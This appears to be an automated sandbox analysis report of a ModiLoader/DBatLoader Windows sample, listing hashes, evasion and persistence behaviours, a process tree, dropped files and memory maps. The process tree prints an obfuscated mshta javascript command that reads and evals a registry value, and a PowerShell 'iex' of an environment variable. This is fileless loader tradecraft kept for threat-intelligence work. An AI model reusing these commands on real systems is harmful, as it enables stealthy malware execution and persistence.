Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    16-05-2024 04:57

General

  • Target

    497f7d69be6c9ba572ad8096d762eed9_JaffaCakes118.exe

  • Size

    356KB

  • MD5

    497f7d69be6c9ba572ad8096d762eed9

  • SHA1

    38c86a5632b5e9ea39dbc21096b3401dc8944e75

  • SHA256

    2f4dbe106abeb7bd9cb954ab1997d25cef95da32d614e6bb2cb962543d07b89f

  • SHA512

    3434b179cd56847dc3f588ec7aec22622416848bdeb5c38f569cf0b616417aaeb7e3ac13698f1e64764816ac86383df26dac1fc5990590077bbf38dcde383083

  • SSDEEP

    6144:Sae/c0RVIqxFu4s2a9XHCd9hxJamsAT4k+wCGbfQfojzMBR5i:W/cMVDxFu43cHYf1TPCAxjzMU

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
  • ModiLoader Second Stage 64 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 3 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of UnmapMainImage 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\497f7d69be6c9ba572ad8096d762eed9_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\497f7d69be6c9ba572ad8096d762eed9_JaffaCakes118.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Looks for VMWare Tools registry key
    • Loads dropped DLL
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of UnmapMainImage
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\497f7d69be6c9ba572ad8096d762eed9_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\497f7d69be6c9ba572ad8096d762eed9_JaffaCakes118.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Looks for VMWare Tools registry key
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of UnmapMainImage
      PID:1288
  • C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" javascript:jsEymSQ90H="N4WU";a3J9=new%20ActiveXObject("WScript.Shell");K7TXr9FpnC="fv57A8bDM";rA3ZT6=a3J9.RegRead("HKLM\\software\\Wow6432Node\\M0QDVtD\\oCHKIb");F7OQmWS5S="XOeEXo";eval(rA3ZT6);mETB2HOX="U7P";
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:2604
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:lousjjmc
      2⤵
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2556
      • C:\Windows\SysWOW64\regsvr32.exe
        regsvr32.exe
        3⤵
        • Looks for VirtualBox Guest Additions in registry
        • Looks for VirtualBox drivers on disk
        • Looks for VMWare Tools registry key
        • Checks BIOS information in registry
        • Deletes itself
        • Drops startup file
        • Adds Run key to start application
        • Maps connected drives based on registry
        • Suspicious use of SetThreadContext
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:1820
        • C:\Windows\SysWOW64\regsvr32.exe
          "C:\Windows\SysWOW64\regsvr32.exe"
          4⤵
            PID:932

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\d71742\043bcc.c56af49

      Filesize

      37KB

      MD5

      2bd343bb964cf725dac91ac2e34e3bee

      SHA1

      c6e9388f0ed466722631ac5fa9f15d2e3eca0db2

      SHA256

      e9447ccbc9ee9c4a41a9fb57b5f3e094eeea4d95f76a3440de39ed1ef6ca4162

      SHA512

      f5d3ea9c0f8ee66ae9d417b10b2d0d000babe3fbc0b11c6cd70ac0c5c0e94d0bb2b2b159cfd19e2aa08b354bc71a884d7a91ebff00a47a2e115bb49c5ff50279

    • C:\Users\Admin\AppData\Local\d71742\cc24ba.lnk

      Filesize

      877B

      MD5

      4d1ae77a6903e358849a23f910595faa

      SHA1

      d432c1efd61f723afc867ddb6515863bf8fb9684

      SHA256

      b2caa9fc4a614bd92ce56468e42feabcdb9c626fb4d6c40938ce28cd57ce8511

      SHA512

      3b5ef948b6902fe571fae5e25274efe8ede531af44c42a6999ee3e77e5eda18f124fc21c3ef57c882d08f0c58efc845821dd8c97d293dce8e2bc16e77c705647

    • C:\Users\Admin\AppData\Local\d71742\ee03f2.bat

      Filesize

      61B

      MD5

      251c82732dbd03982f565deed73bb4f2

      SHA1

      2f903f60f1946953494fb995438cc2419abe59df

      SHA256

      4b67bfb9575e3dffcba2ad2d0c3b194119b1671d0e079ca9a2ff85b177d438f2

      SHA512

      1c6d1dd21ef660f870e23663b8f895f2255bf43830e93690217124a6b4a8cc563f97a4db145dd247b93bda3d49b7ef9d2ddf4ce58c72eccfb4609a356afd1344

    • C:\Users\Admin\AppData\Roaming\3aef84\6d4792.c56af49

      Filesize

      39KB

      MD5

      e392662ed9d96ae13715f3f00dd95246

      SHA1

      ed6f6c96f419ab63dcc35c12582b60a7fbc4e23c

      SHA256

      f73aca02015cd2a97a46acbcc0b1ea3c8652ee14c432b2602b5c7022a1050fc1

      SHA512

      9879e31edef5102361cd695f0912cd684489d4c32f6c915f2cdb79150e1a79e115f96bc3cd4c292952fd0630bb268bf24ed812d183683a5b98b12b08b382dbbb

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\162913.lnk

      Filesize

      987B

      MD5

      c389f0136803df92b057ca593bc2a3e8

      SHA1

      fafda95114daaf02b2386f63a2119366a9dd0cd9

      SHA256

      2980352428bc2fe33e6c35662a8285dfab805fa2bd8402d34404d2e5a73f24e1

      SHA512

      d16e8ec8a2a93dbba2627fada5eda26829a4a8b19df35270c5bd9ee6bad22d92509386305e4eb39f482198b562ce64c6120870480b29690b9b4e411259ac1817

    • \Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\497f7d69be6c9ba572ad8096d762eed9_JaffaCakes118.exe

      Filesize

      356KB

      MD5

      497f7d69be6c9ba572ad8096d762eed9

      SHA1

      38c86a5632b5e9ea39dbc21096b3401dc8944e75

      SHA256

      2f4dbe106abeb7bd9cb954ab1997d25cef95da32d614e6bb2cb962543d07b89f

      SHA512

      3434b179cd56847dc3f588ec7aec22622416848bdeb5c38f569cf0b616417aaeb7e3ac13698f1e64764816ac86383df26dac1fc5990590077bbf38dcde383083

    • memory/932-82-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-71-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-80-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-78-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-69-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-77-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-75-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-74-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-76-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-73-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-72-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-81-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-79-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-84-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-85-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-88-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-90-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-83-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/932-70-0x0000000000240000-0x000000000037E000-memory.dmp

      Filesize

      1.2MB

    • memory/1288-22-0x0000000000220000-0x0000000000267000-memory.dmp

      Filesize

      284KB

    • memory/1288-23-0x0000000000220000-0x0000000000267000-memory.dmp

      Filesize

      284KB

    • memory/1612-17-0x00000000023A0000-0x0000000002474000-memory.dmp

      Filesize

      848KB

    • memory/1612-116-0x00000000023A0000-0x0000000002474000-memory.dmp

      Filesize

      848KB

    • memory/1612-1-0x00000000001B0000-0x00000000001F7000-memory.dmp

      Filesize

      284KB

    • memory/1612-27-0x00000000023A0000-0x0000000002474000-memory.dmp

      Filesize

      848KB

    • memory/1612-26-0x0000000000400000-0x000000000043E000-memory.dmp

      Filesize

      248KB

    • memory/1612-21-0x00000000023A0000-0x0000000002474000-memory.dmp

      Filesize

      848KB

    • memory/1612-20-0x00000000023A0000-0x0000000002474000-memory.dmp

      Filesize

      848KB

    • memory/1612-16-0x00000000023A0000-0x0000000002474000-memory.dmp

      Filesize

      848KB

    • memory/1612-18-0x00000000023A0000-0x0000000002474000-memory.dmp

      Filesize

      848KB

    • memory/1612-15-0x00000000023A0000-0x0000000002474000-memory.dmp

      Filesize

      848KB

    • memory/1612-14-0x00000000023A0000-0x0000000002474000-memory.dmp

      Filesize

      848KB

    • memory/1612-13-0x00000000023A0000-0x0000000002474000-memory.dmp

      Filesize

      848KB

    • memory/1612-3-0x0000000000400000-0x000000000043E000-memory.dmp

      Filesize

      248KB

    • memory/1612-5-0x00000000002C0000-0x00000000002C5000-memory.dmp

      Filesize

      20KB

    • memory/1612-4-0x00000000003E0000-0x00000000003E7000-memory.dmp

      Filesize

      28KB

    • memory/1612-0-0x00000000001B0000-0x00000000001F7000-memory.dmp

      Filesize

      284KB

    • memory/1820-32-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-51-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-47-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-42-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-41-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-38-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-37-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-36-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-50-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-33-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-54-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-55-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-56-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-57-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-58-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-63-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-64-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-66-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-40-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-67-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-68-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-65-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-52-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-48-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-49-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-53-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-46-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-45-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-43-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-44-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/1820-39-0x00000000001E0000-0x000000000031E000-memory.dmp

      Filesize

      1.2MB

    • memory/2556-34-0x00000000027B0000-0x00000000047B0000-memory.dmp

      Filesize

      32.0MB

    • memory/2556-35-0x0000000005C80000-0x0000000005D54000-memory.dmp

      Filesize

      848KB

    • memory/2556-31-0x0000000005C80000-0x0000000005D54000-memory.dmp

      Filesize

      848KB